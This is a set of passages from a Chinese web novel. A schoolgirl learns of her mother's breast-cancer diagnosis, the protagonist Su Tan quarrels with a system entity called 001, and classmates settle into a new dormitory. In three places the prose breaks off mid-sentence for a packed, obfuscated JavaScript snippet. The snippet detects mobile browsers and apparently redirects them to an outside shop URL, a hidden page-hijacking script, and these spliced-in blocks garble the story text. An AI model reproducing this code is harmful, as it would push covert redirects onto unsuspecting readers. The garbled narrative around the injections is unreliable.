“再有一年我就上大学了,出去之后我就找兼职,去给别人打工也行,家里又不是只有他一个会挣钱的!” “你以为兼职好找?打工轻松?我说不行就是不行,你有你现在的成绩,好好读书考个名牌大学不行吗?非要想这些旁门左道的?” “……我想赚钱养你有错吗?我又没说不读书了。” 苏雨虹委屈得要死,眼泪还是流了出来。 田霞也觉得说的话太狠,心里一软,放低语气道:“妈就念过几篇课文,没什么文化。但我心里知道,学习才是最有出路的。你还没成年,不好找工作和兼职。妈答应你,等你考上了好大学,我就和你爸离婚,行不行?” 苏雨虹哭得失了声,抱着田霞点点头。 “嫁给你爸,说不后悔是假的,可我一点也不后悔剩下你。我比谁都清楚,你以后是要带着妈享福的。妈这一辈子都不会离开你,你呀,平时就别瞎想了。家里有我,尽管放心。” “嗯……” 苏雨虹瘪着嘴,抹了一把眼泪。 “好了好了,我先去做饭去,你去洗个手等着。”田霞拍拍女儿的背,刚想站起来,腰一阵疼痛,“哎呦……” 苏雨虹立刻侧身查看:“是不是刚才苏建军打的?” “这还真不是的。这是干活落下的毛病,老毛病了。”田霞揉揉腰。 “你先别动。” 苏雨虹把她按到沙发上,转身在茶几的抽屉里拿出一盒膏药,从里面抽出一片,撕开包装,贴到了田霞刚才喊痛的地方,顺便把苏建军打的几处严重的地方也擦上药油。 “你还是歇着吧,我帮你做饭,你指导我。” 苏雨虹放下书吧,走进厨房。 田霞笑着跟在后面,欣慰道:“女儿长大了,懂体贴人了。” “瞎说什么,我一直都听话懂事。”苏雨虹开始洗菜烧锅,田霞就在边上指挥,两人颇有默契。 饭快做好时,苏雨虹鼓起勇气,把思考了很长时间,一直压在心里的想法告诉了田霞:“等高三的时候,我想转校。” 田霞很意外:“为什么?” “咱们这在南山市的最边上,还是个小县城,高中都没个像样的,三个年级加起来就一千个人出头,我学不到什么特别有用的知识。虽然一直是年级第一,但这的年级第一和市里重点高中的年级第一,肯定有很大的差距。要想上个好大学,必须得去好的高中,才能知道自己的真实水平。” 苏雨虹一口气解释得很详细,田霞表情却变得凝重,没有立刻答应。 “我再想想,转校也不是一件容易的事,得多做些准备。” 苏雨虹:“好,反正还有几个月,你再看看。” 其实她还有一个原因没说,如果她转学,田霞就得跟着她,到时候她就有理由带田霞离开苏建军,哪怕离不了婚,至少先离开了渣男人。 这顿饭,苏雨虹和田霞吃得各怀心思。 …… 一个月很快过去。 一天,苏雨虹放学,刚出校门,被一个长相随和的中年男性拉住。 “同学你好,我们是盈星公司的经纪人,最近在寻找合适的新人签约,看你形象条件都挺符合,邀请你有时间来我们公司先参观参观,有兴趣吗?如果签上了,可是能接广告赚钱的!” 苏雨虹看了那个男人一眼,头也不回往前走道:“没兴趣。” 这是现在流行的新型诈骗方式吗?都哪个年代了,还兴星探挖人?出来骗人之前也不先斟酌斟酌形式。 “哎小妹妹等等!”男人追上来,把一张明信片塞到苏雨虹手里,“如果有想法,一定记得和我们联系!” 说完,男人离开,接着给其他长得不错的男孩女孩发明信片去了。 苏雨虹看也没看,把卡片随手扔到书包里,没过多久便把这件事抛到了脑后。 晚上洗澡的时候,她看到镜子里被水雾模糊的脸,注视良久,伸手擦干镜面。 苏雨虹突然意识到,她这张脸确实长得不错——结合了田霞的鹅蛋脸型和苏建军的饱满的眼型,鼻梁也高挺,平常也不怎么长痘,皮肤白皙光滑。就是感觉少了点什么。 想了没几分钟,苏雨虹觉得她应该是骗子迷惑了,长得再好看有什么用,还不如多做几道题,万一高考考到了,可比当什么明星的概率大得多。 苏雨虹清空脑袋里无厘头的想法,一口气刷题到深夜,田霞来催了三次才上床睡觉。 说来也怪,之后连着两个星期,苏雨虹都能在校门口碰到给他名片的那个男人。现在的骗子这么敬业吗,可着一个地方的人骗。 但她也没放在心上,就是挡不住男人硬塞给她明信片,又两星期过去,她书包里的卡片从一张变成三张、五张、到最后累成一小摞。 周末放学,苏雨虹带着盈星公司满书包的诚意回到家,开始做饭。 这段时间田霞倒夜班,苏建军总出去喝酒,苏雨虹到家的时候,通常只有她自己。 她已经记熟几种炒菜的步骤,做起来还算得心应手。就是炒丝瓜做到一半,才发现盐罐里没盐了。 妈好像习惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785127|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把调料都放在橱柜的最上层。苏雨虹回忆着,打开橱柜翻找。 橱柜里杂物太多,各种大包小包的包装堆挤在一起,苏雨虹看不到最里面的情况,伸手一顿乱找。摸着摸着,她感觉手指碰到了一沓A4纸。 厨房怎么会有这种东西?她把纸拿出来,放在最上面的田霞上个月的体检报告,感觉没有什么问题。 苏雨虹接着往后翻,看到最后一页的内容,整个人都傻了眼。 田霞在体检后,又私下去做了乳腺检查,报告的诊断结果显示右乳恶性肿瘤ⅡA期,需要找医生具体详解。 看完这一沓报告单,苏雨虹浑身冰凉,不记得自己是怎么回了卧室,怎样惴惴不安地上网搜索诊断结果后面的一串催命字符。 她看了一夜的各种病人的治疗经历,天亮时,脑袋里只剩下一个念头——必须要做手术。 哪怕只有一半的治愈率,也一定要试一试,不能再往后拖了。 早上八点,田霞下班回家休息。苏雨虹拿着报告单走进她房间,问道:“为什么要瞒着我?” 田霞看到她手里的东西,慌了一瞬,很快被遮掩过去。她淡定坦白:“就是个小毛病,我正准备趁周末去医院拿点药吃吃,吃完药就好得差不多了,明天你陪我一起去吧。” 苏雨虹把诊断单摘出来:“妈,别再骗我了,我认字,这上面白纸黑字写得清清楚楚,你得的明明是癌,乳腺癌!” “医生说了,还是早期,没你想的那么严重。” “那你为什么不赶紧做手术?”苏雨虹不顾田霞的阻挡,开始收拾东西,“今天就去办住院,马上约手术。” “医生说了,可以先吃药观察。你看你,急什么哭什么,我还没死呢。” 田霞一点也没患者的自觉,拉住苏雨虹道。 “对了,给你说个好消息,你的转学手续给你办好了,等暑假之后,你就能到南山高中读书了!我女儿的愿望必须得实现!” 苏雨虹愣住,想道检查单上的日期,一瞬间什么都懂了。 “……你是不是把钱都用来给我办转学了,”她声音颤抖,“……所以没有钱治病了。” “当然不是。”田霞哈哈笑了两声,却尴尬地沉默下来。 苏雨虹看着田霞,心里悔恨得要死,恨自己为什么不能再早点觉察田霞身体发异样?她为什么总是这么天真? 转学算什么,她又不是真的没书读没学上。可她就只有这一个爱的人,还是田霞,是她的妈妈。人要是没了,就真的什么也没了。 她哽咽道:“妈,我不转学了,你能不能把钱要回来……我只想你好好的。” “不行。哪有人拿自己的前途开玩笑的?”田霞一口回绝,“再说,钱都已经花出去了,怎么可能要回来。” “没事,那我们就好好治病,我查了,现在这种手术有医保能报销大半的,实在不行就借钱,贷款也行,总会有办法的。” 田霞久久地看着苏雨虹,最后叹了一口气,妥协道:“手术的事暂时放放,我答应你,先去住院吃药观察。” “……好。” 苏雨虹收拾好情绪,立刻陪田霞到了市中心的三甲医院办理住院。 晚上,她回到家收拾后面换洗的衣物,一股浓郁的酒气从厕所窜出来。苏建军塌着身子,紧抱马桶,吐得天昏地暗。 苏雨虹气得一阵反胃,满胸怒火灼烧,提脚朝苏建军身上踹去,指着他的鼻子骂道:“混蛋!你老婆在医院里受罪,你一个人在这喝得不省人事,你有没有良心?你不配当老公!你不配为人父!” “什么受罪……我喝得高兴着呢……再给我拿瓶白的去!” 苏建军翻了个身,嘴里嘟嘟囔囔,眼都没睁开。 苏雨虹十指攥得发白,生怕下一秒会控制不住自己,拿刀砍了眼前的窝囊废。 她转身出了厕所,找到厕所门的钥匙,把苏建军反锁在了里面。 直到坐到卧室的床上,苏雨虹还觉得今天发生的事情,就像一场荒诞的梦境,一场醒不过来的噩梦。 她深深吸了一口气,捏住书包底部,把里面的东西全部倒出来腾空,放进去田霞需要的衣服。 抬手从床上跃过拿东西的时候,不留神被一道锋利的边缘划出一串红血珠。 苏雨虹拿起割伤她手指的“凶器”,是之前老在学校门口挖人的星探塞给她的明信片。 不知为何,当时那个男人的话依旧清晰地在脑海回响:“如果签上了,能赚钱的!” 赚钱。她缺钱,她需要钱。 苏雨虹把明信片放进口袋里。 她在理想与现实面前,选择了最令她不屑的那个。 90. 世界四(23) “……再后面的,你就都知道了。” 苏雨虹讲完,停下来缓了好一会。 窗外的蝉鸣声更嘹亮了,将此刻的静默沉得更加悲凉。苏昙心里发堵,唯一能祈祷的,就是希望田阿姨的手术能成功。 她给苏雨虹倒了一杯水:“别担心,会越来越好的。” “但愿如此吧。”苏雨虹勉强地笑笑,站起来说道,“时间也不早了,你如果有事就先去忙吧,我得回去照顾我妈了。” “好。等阿姨手术完之后,我再来看她。” 走之前,苏雨虹再次说道:“今天多谢你。我真是一点不敢想,你我只是萍水相逢,竟然会对我伸出援助之手,我到现在还觉得太不可思议了,真的很感谢你。” 苏昙虽心疼辛苦赚来的钱,但如果苏雨虹真的是她离开这个世界的关键,这点钱算得了什么。 “如果这真的是一个荒诞的梦,那梦里出现这种事也不奇怪吧?”她对苏雨虹打趣道。 “你说得对。”苏雨虹忍俊不禁。 苏昙也站起来和她道别:“那就先再见了!相信我,一切都会过去,下次我再来的时候,听到的一定都是好消息!” * 苏昙和苏雨虹告别之后,来到路口,打开手机看了眼银行卡里的余额,赶紧心痛地关掉,走到公交站牌等车。 看来以后要少带着夏迁舟出去吃吃喝喝了,车也要少打,但项目要多接。 十五分钟后,苏昙坐在公交车上惨兮兮地想道。 “我有钱,你可以花我的。” 001的声音冷不丁出现在她识海,把正在专注沉思的人吓了一大跳。 苏昙嘴角抽搐,在心里低呵道:“001,你是想吓死我吗?” 001无辜解释:“我就是想帮你多分担一些,不是故意的。” 苏昙无语:“你知道钱是要留给自己和喜欢的人花的吗?你以为自己是散财童子,谁家有困难就拨点钱过去救助吗?” “以前不知道。但现在了解了。”001说,“我平时用不到,全留给你花,完全没有问题。” 苏昙扶额,好清奇的脑回路,她无力反驳。 “我必须和你说清楚,以后我没喊你,你不许突然出现在我识海!” “那可以……” “也不许不打招呼就出现在我面前!” 苏昙预判了001的预判,斩钉截铁地说。 001有些委屈道:“如果有急事要和你说,怎么办?” 苏昙:“……” 好问题,问倒她了。这事还真没法拒绝。 “那就先打声招呼!”苏昙灵机一动,“喊我的名字总会吧?以后你要是有急事告诉我,就先喊我一声,就像我喊你那样。这样我就知道了。” “好。”001学得挺快,立刻改口,一本正经道,“苏昙,我有事找你。” 苏昙听到他清远磁性的声音,耳根一阵酥麻,顿时觉得这个办法好像也不太可行。 “你……真的有事?”她清空思绪问道。 001点头:“我送你的那盆昙花,在回到虚空之境的第三天,就彻底枯萎了。” 苏昙对这个结果并不是很意外:“倒是和我们猜得一样。” “为了确认到底是花的问题还是时间的问题,我又让131把手表、水果还有一些其他会随着时间变化的东西,带进他的宿主的里世界,它们果然一直都保持着最开始的状态,直到131再次将它们带回虚空之境,才开始随时间转动、腐烂。” “听你这么一说,我现在感觉里世界的时间和虚空之境的时间,像是两个相互独立的存在,互不干涉,也不会被外来者影响。” 001赞同道:“就是这个意思。” 苏昙想起什么,闭上眼回忆道:“我前不久把谷晨的日记看完了,到后面的两个世界,他记录的频率大大降低,不再像之前那样算时间,写的内容大多是简短的一两句话,我读起来云里雾里的。” “比如呢?” “就是一种说不上来的感觉,”苏昙停顿几秒,组织了一下语言,“读完他后半部分的日记,我会疑惑,他记录的到底是现实世界?还是他的梦境?谷晨记录得太混乱了,没有逻辑也没有实质性的内容。” 001捕捉到关键词:“你也对我讲过好几次你的梦境,你觉得你的梦和他的梦一样吗?” “不一样。”苏昙摇头否定,“我不知道你听没听过一个说法,叫‘日有所思,夜有所梦’。我经历的里世界和意外,和他经历的不一样,梦到的自然也不一样。” “那为什么谷晨表现出受到梦境影响的反应,看起来比你大得多?”001想不明白,“可就你做过的梦来说,又不是完全没有关系的。梦境在你和谷晨——或者说所有宿主完成任务的过程中,到底起到了什么作用?” 苏昙认真思考了一会,猜测道:“影响宿主的生活状态?” “你休息得不好?” 001脱口而出。 “也不是休息得不好。换做是你,老是做噩梦,各种光怪陆离的事情,还有认识的人时不时给你来一刀什么的,就算醒来之后知道这只是个噩梦,但你还是会有些害怕的吧?毕竟那种感觉太真实了,悲伤真实,愤怒也逼真,就好像是另外一个鲜活的平行世界。” “你从什么时候开始频繁做噩梦的?”001话里是毫不遮掩的担忧。 苏昙还沉浸在对梦境的描述中,没有听出他的其他情绪。 “唔……大概就是从来到这个里世界开始吧。不过我渐渐地都习惯了,也没影响我太多。” 001冷声道:“这件事,会不会也和主神有关?如果单单谷晨,还能说他心理素质太差,但我了解你,而且你也说过,你在现实世界的时候,不是一个爱做梦的人,偏偏在进到系统里,才开始噩梦频发。这太巧合了,我……很难不往祂身上猜。” “说不准。”苏昙撇撇嘴,“真要是噩梦就好了,我还能看病吃药调节。要是主神连宿主的梦都能控制,我后面恐怕不好过。” “对了,我记得夏汀舟有个心理医生,要是你觉得睡眠质量下降得太多,可以找他拿点药,先吃吃看,也好判断到底有没有用。” “对啊!你不说我都快忘了,心理医生对梦啊时间啊什么是不是比较了解,我可以找他聊一聊!” 苏昙觉得事情终于有了思考的方向,专业的事还是要问专业的人,告别苏雨虹后一直压抑的心情松快了不少。 001看苏昙误解了他的意思,却因为找到新的思路而开心,心里也跟着她感到愉快。 想到这,他温声说道:“苏昙。” “怎么了?” 001无比认真道:“答应我,如果下次做噩梦,一定告诉我,别独自消化。” “……为什么?”苏昙干笑两声,“还想嘲笑我哭吗?我可不会再让你抓到把柄了。” 她又一次在他的坦诚面前乱了阵脚。飘忽不定的眼神出卖了她,紧张的吞咽暴露了她,她只能用话语来搪塞慌张。 “因为我会心疼。而且,我真的很想陪在你身边。” “可我不需要你。001,我说过,我们不合适,也没有未来。”苏昙决定彻底和001说开,“你理解的喜欢和爱,跟我不一样。喜欢不是执着地想要得到,爱也不是一厢情愿地陪伴,任何感情都是有流动性的,我可以对你动心,但日后也许就对另一个比你更合适的人心动。到时候你要怎么办,还像现在这样死缠烂打吗?” 苏昙心道:生气就生气吧,本来就是我辜负了他,他就算恨我也正常。 两人都没有再开口。 就在苏昙以为001已经离开时,听到他的声音在识海响起。 “……苏昙。” 苏昙心里一紧。她从来没听过001用这种语气喊她,好像……真的生气了。 “你觉我对你好,就是执着地想得到你?在你看来,我就是在死缠烂打、就是连你也不屑一顾的一厢情愿?”001声音有些颤抖,停下来稳了稳呼吸,继续道,“是,我是喜欢你,想和你在一起,可我从没想过把你占为己有,我对你,只有喜欢。你想要什么,我就陪你一起得到;你会坠落受伤,我就努力地接住你;你会梦魇,我就在第一时间出现在你身边。你觉得这些是什么?” “是我为了得到你而使的手段吗?是我想让你多看我一眼的死缠烂打吗?那我现在告诉你,我做,只是因为愿意。” “谢谢你,让我知道原来你一直是这样看我的。”001彻底心灰意冷,“既然你不需要我,我不会再缠着你了。再见。” “我——” 苏昙下意识挽留,无奈识海只留下一片寂静。 她预想中,最理想的结果,就是001对她失望生气至极,才会离开得更坚决更彻底,不会像她,还有过犹豫挣扎。 眼下明明都已经按预想的实现,苏昙却感到前所未有的痛苦。这种痛苦,充斥着她的情感和良心,胁迫她选择独自一人的未来。 但她不会后悔。 可不后悔不代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我妈的乳腺肿瘤切掉之后,检测结果是良性。医生说,病灶也被切除得差不多,术后会轻松很多,我和她悬着的心才算是真正落下来。” “那日常还需要吃药维持吗?” “嗯。昨天去给她拿了一些调节内分泌的药。就算回家了,也不能掉以轻心,还需要按时复查。” 苏昙三两口把苹果啃完,用纸擦了擦手,问道:“那你们还回去吗?” “回,不回去有什么办法。”苏雨虹无奈苦笑道,“转学看病就把钱花得差不多了,不回去我和我妈住哪,虽然我爸烂得透透的,好歹也能挣钱,况且我妈的工作还在家那边,不干不行。” “你呢?准备走读还是住校?” “当然住校。住校省时还剩来回的路钱,等开学之后我就给老师提交申请。” “巧了,我也住校。” 苏雨虹惊讶道:“你为什么会选择住校?” “我住校很奇怪吗?”苏昙想到那日崩溃的夏汀舟,回道,“应该是不想回家吧。” “……你把你手机拿出来一下。” “?” 苏昙把手机打开。 苏雨虹点开收款码,给她转过去五百。 苏昙:“你这是干什么?” “还记得之前咱们去吃的那家餐馆吗?第二天我在那问了问,老板娘说还差个收拾的服务员,我就自荐去干了一个月。今天刚拿到的工资,三千块钱呢。”苏雨虹笑得很满足,“就是得留出一部分给我妈买药,所以只能先还你五百,剩下的等我以后再给你补上。” 苏昙心里又酸又涩,说道:“你不用这么着急,当务之急是你和阿姨的生活先稳定下来,不差这一时半会。” “不行,我良心过不去。当时你一口气给我转了两万,再看你和你妈妈的气质,我就知道你们的家庭情况肯定和我们家不一样。而我又急用钱,就哄着自己,把你看成一个有钱没处使,空有一颗爱心的千金小姐。你可别怪我,我实在想不出你帮我的其他理由了。” 说着说着,苏雨虹先忍不住笑了。 “你说的……也没什么毛病。”苏昙仔细想了想,不置可否。 “估计我们再见就是在学校里了。”苏雨虹喃喃道,“第一次到这么好的学校,心里还挺期待的。我妈为了给我办转学,把存的钱全用了,我得更加努力地学习,把它们赚回来。” “你不会让她失望的。”苏昙坚定地看着她,又重复了一遍,“不会的。” 91. 世界四(24) 酷暑贯穿转瞬即逝的暑假,给繁忙的高三留了个尾巴。 高三会进行最后一次分班,苏昙找到新班级和新座位,搬着书箱走进教室。刚进门,就在第一排看见一个熟悉的面孔。 她本来以为开学之后和苏雨虹的交集会变少,现在看来,还挺有缘分。 苏昙走到她的座位前面,打招呼道:“苏雨虹,好巧。” 苏雨虹正在整理座位,闻声抬头,看清来者后回道:“你也在五班。” “是啊,以后我们就是同学了。” “那你知道五班在南山高中什么层次吗?我刚来……还不太清楚具体的情况。” “你先等我一下。”苏昙利落地把东西放到她倒数第二排的靠窗的位置,又跑到苏雨虹身边,说道,“一班、二班是超越,三、四、五班是宏志,剩下的六到九都是平行。不过教超越班的老师也会去教平行,各班的老师都是换着教的,所以你不用担心教课质量。” “好。”苏雨虹眼里露出新奇,“我就是感觉班里的人好少,一样的教室,我们那边一班八十多个,就显得格外拥挤,从没觉得有这么宽畅。” “确实不太一样。”苏昙道,“你刚来,如果哪些地方不熟悉,尽管问我。厕所在走廊尽头右拐,挨着对面的楼梯间,你从这透过窗户应该能看到,离得有点远,那边是高一的地方。还有,要是想接热水的话,出了教室们往后走,走到尽头有一个饮水机,那是我们和楼上文科班公用的,就是一下课去接水的人会特别多,你得跑快点才能接到水。” “嗯,我记住了。” 苏雨虹之前在县里的高中从没遇到过这种情况,时间比这里松散多了,听苏昙这么说,心里竟然有点紧张期待。 苏昙还想再给苏昙讲讲食堂哪个窗口的饭最好吃,耳边突然响起一声咳嗽,紧接着一股浓烈的香水味钻进鼻腔,刺激得她鼻子发痒。 “高三了还没一点紧迫感吗!串位的都给我回自己座位上去!” 苏昙扭头,对上一个上了年纪的女老师的视线,学生的本能让她意识到“危险”来临,抿着嘴唇溜回倒数第二排了。 徐丽本来都准备划划水退休了,结果上学期夏汀舟用学校广播搞了那么大一出,校长第二天就苦口婆心地劝她别着急,得先好好地解决完手头的事。 那死老头什么意思她还能不知道?不就是想栓着她,不想让她拍屁股走人么!果然,暑假之前的教案会,死老头就给她下了临终业绩,不管结果怎么样,必须带完这一届高三,高考一结束,就马上批准她退休。 她心里再不满还能说什么,徐丽当众抱怨了两句,最后不情不愿地接下五班,当了班主任。 此刻,她看着班里乱糟糟的一片,从所未有的心累,看到事情的源头——夏汀舟,还在她眼皮底下兴奋地说闲话,心里又是一阵发堵。 什么听话的好学生,现在的小孩说不学就不学,稀奇得很,老师说的再多顶什么用? 上了年纪的法令纹和松弛耷拉的眼皮让她周身的威压更增两分,班里瞬间安静下来。 徐丽心情好了一点,走上讲台,严肃道:“相信不用我多说,你们都清楚这学期对你们意味着什么。是最后反超的机会!是你们最后查漏补缺的时间!是背水一战的时候!就在这么重要的时候,你看看你们,啊?说话的说话、吃东西的吃东西、打闹的打闹,有没有一点高考生的样子?这学期爱玩的同学小心了,我逮的就是你们!” 全班鸦雀无声,大气都不敢出。 “先自我介绍一下,我叫徐丽,这学期是你们班主任,也是你们的数学老师。先说好我的要求,总成绩可以起伏,但咱们班的数学成绩必须进年级前三,别丢我这个数学老师的脸。” 徐丽拉了一把凳子坐下,继续道:“再说一下这学期的奖学金问题,规则还是和以前一样,根据你们的平时表现和学习成绩来定,在期末考试的表彰大会颁发。想争取的人就好好努力,拿出实力来!” “最后趁着这几分钟把课代表选出来。”徐丽快刀斩乱麻,“以前当过课代表的站起来。” …… 十分钟后,徐丽把人选挑好,离开了教室。 苏昙看着她潇洒离开的背影,感觉她好像并没有表现得那么严苛。苏昙拿出提前打印好的住宿申请表,喊上苏雨虹,追着徐丽到办公室,把申请表交给了她。 当天晚上,两人拎包入住宿舍。 她和苏雨虹都是开学之后申请的,班里的四人寝都已满员,最后两人被分配到隔壁四班还没住满的女生宿舍。 “夏汀舟!” 苏昙刚进门,便听到熟悉的声音。 程微雪放下手里的东西,惊喜道:“你住这个宿舍吗?” 苏昙笑着走过去,把带来的生活用品搁到床板上:“是啊,我这学期住校。” “太好了!我还以为一分班就难再见到你了,没想到还可以每天见面。” “张思蓉呢?留在一班了吗?” “对,她成绩好,而且还是杨辞带她。” 苏昙边听程微雪讲边收拾床铺。一个暑假不见,程微雪似乎外放了许多。 “听起来你们挺熟了。”苏昙揶揄道,“是不是暑假没少背着我见面?” 程微雪有些脸红:“你太宅了,好几次我们喊你,你嫌热不愿意出去,就最开始去了一次,其他时间都呆在家里,但我们不是故意……” 苏昙忍不住笑出来:“我知道,逗你的!你们玩得开心就行。你说得对,我就是太懒了,懒人就该好好在家里闭门思过。” 其实最主要的原因,是她实在没心情出去玩整天都泡在了代码里,只有这样,她才能暂时将自己从那场不欢而散的争吵中抽离片刻。 程微雪听出苏昙在开玩笑,无奈道:“下次一定把你喊出去。” “行。”苏昙很快把床铺好,看了一圈宿舍,问道,“还有一个人呢,怎么没见她?” “她刚出去接热水了,估计快回来了。”程微雪说,“她叫周茉,和我一个班。对了,咱们宿舍是不是还要再住进来一个人……我听说还是个转校生?” 果然,八卦是人类的天性。 苏昙正要向她介绍一下苏雨虹,本人就出现在门口。 程微雪看着宿舍门前陌生的面孔,问道:“你是?” “苏雨虹,五班的。老师说我的宿舍在224,是这吗?” “没错。”程微雪让开门口的路,给新舍友腾出一条道。 苏昙已经把自己的东西收拾得大差不差,便过去帮苏雨虹一起拿东西:“给我吧。” “谢谢。”苏雨虹把手里装着零碎物件的袋子交给她,径直走到最后一个空床位旁边,麻利地铺床打扫。 程微雪退到苏昙身边,轻声说道:“新舍友有点高冷诶……你们认识吗?” “嗯,暑假的时候因为一些事见过两面。” “你有没有觉得,她长得好漂亮啊。”程微雪注视着苏雨虹的动作,“咱们宿舍的美女好多,每天晚上下课回来,看到这么好看的脸,瞬间就不累了,真幸福啊。” 苏昙哭笑不得,原来程微雪竟然是个隐藏的颜控。 “有这么夸张吗?”她问道。 “什么夸张?” 门外响起一道女生。 程微雪转身:“周茉,你接完水了?” “嗯。”叫周茉的短发女生点点头,说道,“水炉那现在人不多,你们要去赶紧去吧。” 程微雪见她要进宿舍,赶忙介绍道:“这两个是咱们的新舍友,她叫——” “我知道,”周茉把水壶放下,面对她身边的人,说道,“你叫夏汀舟,对吧。你好,我叫周茉。” 说完,便进了宿舍门旁的洗手间洗漱。 苏昙给程微雪使了个眼神:……这才是真高冷吧。 程微雪见气氛就要尴尬起来,低声对苏昙解释: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797062|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她之前是我同班同学,性格不是这样的,可能因为不太熟,你别介意。” “没事。”苏昙本也不在意,她提起新买的水壶问道,“你知道水炉在哪吗?我想去接个水。” “出了宿舍楼往右拐,水炉在女寝楼后面的小房子里,外面一排水龙头都有热水,每个都能用。需要我陪你去吗?” “不用,你去洗漱吧,等熄灯再洗漱就不方便了。”苏昙摆摆手,走出了宿舍。 宿舍里,苏雨虹整理完,想去洗漱室,发现里面已经有人,看样子一时半会挤不进去第三个,便在外面安静等着。 洗漱室里时不时响起水声和说话声,在没人的宿舍里格外明显。 “你怎么会和夏汀舟认识?” “高二的时候我和她是同学,怎么了?” “就是对她印象不是很好。” 苏雨虹在门外把里面的对话听得一清二楚,但她分不清是谁在说话。 程微雪皱眉:“为什么这么说?” “不知道,可能是直觉吧。之前运动会,她不是小小地出了风头,又在广播里那么抛头露面,全校都知道她的名字了,家里还有钱有势,我感觉她挺跋扈的,特别典型的富二代形象,这样的,脾气和性格都不会好到哪去。我们班里的人都说,她私下人品不行。” “那你是不知道到底发生了什么,”程微雪心里着急,又不好直白地点明,委婉道,“你是不是对她意见挺大的?其实夏汀舟人很好的,还在别人面前维护我的面子,帮了我很多。你可以试着多了解她的。” “算了吧。”周茉下意识反驳,放水把脸上的洗面奶洗掉,“我感觉我的性格跟她合不来,就不强迫自己了。” 程微雪也不好再说什么,开始刷牙。 过了几秒,周茉又开口说道:“咱们寝室不是还有一个人,她叫什么啊?” “苏雨虹,和夏汀舟都是五班的。” “其实,我感觉苏雨虹家里条件应该挺不好的。” 程微雪不想再和她讨论身边的人,只是草草应了一句,加快了刷牙速度。 “她就是徐老师说得新转来的学生吧?能分到宏志班,那她的成绩应该还挺好的。就是看她身上穿的衣服裤子,至少三年了,都能明显看出来掉色。她不会连校服也不买吧,说实话,穿这么一身在班里还挺显眼的。” 程微雪把牙刷涮干净,心不在焉地说道:“她刚来,肯定很多事情都不来了解,我们别聊这个了……而且,夏汀舟是我朋友,她的朋友也是我的朋友,你……最好别在背后说闲话。” 周茉有些不满:“我就吐槽一下,又不会怎么样。不说就不说。” 苏昙从外面接水回来时,寝室楼恰好熄灯,她看到苏雨虹站到洗漱室外,一直没有动作。 她走近问道:“怎么不进去?” 洗漱室里的说话声瞬间消失。 苏雨虹抱紧怀里的水盆,说:“刚准备进去,看里面还有人,就等了一会。” 苏昙点点头,提着满当当的水壶进了寝室:“你用热水吗,我接的多,正好你也不用再往下跑了。” “不用,还有点时间,我现在下去接。” 苏雨虹把盆子放下,拿着暖水瓶出去了。 苏雨虹走后,程微雪和周茉先后从洗漱室出来。苏昙看她们的表情都怪怪的,把程微雪拉到一边:“发生什么了吗?” 程微雪难为情地盯着地面看了一会,鼓起勇气小声说道:“刚才在厕所,周茉无意议论了你朋友两句,可能被她听到了,不知道她生气没有。” 苏昙想到周茉对她的态度,大概能想到她会怎么说苏雨虹。 “你别多想,不是你的问题。到时候我给苏雨虹解释一下,她会理解的。” 程微雪心里还是很忐忑,感激道:“嗯,实在不行的话,我和周茉一起向她道歉。” 苏昙点点头,钻进洗漱室里,一边刷牙一边等苏雨虹回来。 92. 世界四(25) 苏昙在洗漱室里磨蹭了好一会,都没等到苏雨虹回来,只好先上床休息。 半梦半醒间,她隐约看到对面床铺好像有昏暗灯光,床上还立了一张小桌,有人在桌旁埋头写字,动作很轻很小,不仔细听完全注意不到。 苏昙揉揉眼,先看了眼时间,已经半夜十二点了。她抬眼望向那个还在点灯学习的人,是苏雨虹。 苏昙倒不觉得有什么,以前高中的时候她也是住校生,在宿舍学到半夜是常有的事。只是这才刚开学,她在苏雨虹身上看出了期末复习的紧迫感。 算了,明天找到机会再给她解释洗漱室的事吧。苏昙打了个大大的哈欠,栽到枕头里,很快陷入沉睡。 * 周四体育课,自由活动环节里,苏昙沿着操场跑道外围的一圈柏树下散步,听到有人在背后喊她。 “夏汀舟。” 苏雨虹小跑到苏昙身边。 苏昙:“老师喊集合了吗?” “没有。”苏雨虹顿了顿,“是我有事想问你。” 苏昙隐约猜到苏雨虹的来意,把她带到了不远处树荫里的石凳坐下,说道:“你问吧。” 苏雨虹有些难为情地开口道:“这的学生……他们的家庭背景都和你的一样,十分优渥吗?” “你是不是听到周茉她们在洗漱室说的话了?”苏昙反问。 “……嗯。” 苏雨虹很快补充道:“家庭背景什么的都是我自己猜的!因为在我们那大部分的学生都是一个村的,放假了还能天天见面,很清楚对方家里的情况和自己大差不差。我是听到周茉的话了,但我没生气,就是突然到一个新环境,还这么天差地别……有点不适应。” “南山高中是公办的省级示范性高中,升学率又是全省数一数二的,那些家里有条件的,肯定会想方设法把自己的孩子送到这样的地方学习,但南山高中最看重的还是成绩,每年都是从全省的各个地方招人,同时还有不少外省的。这样一来,能进这里的学生,要么学习特别好,要么家里条件特别好,也不奇怪。” 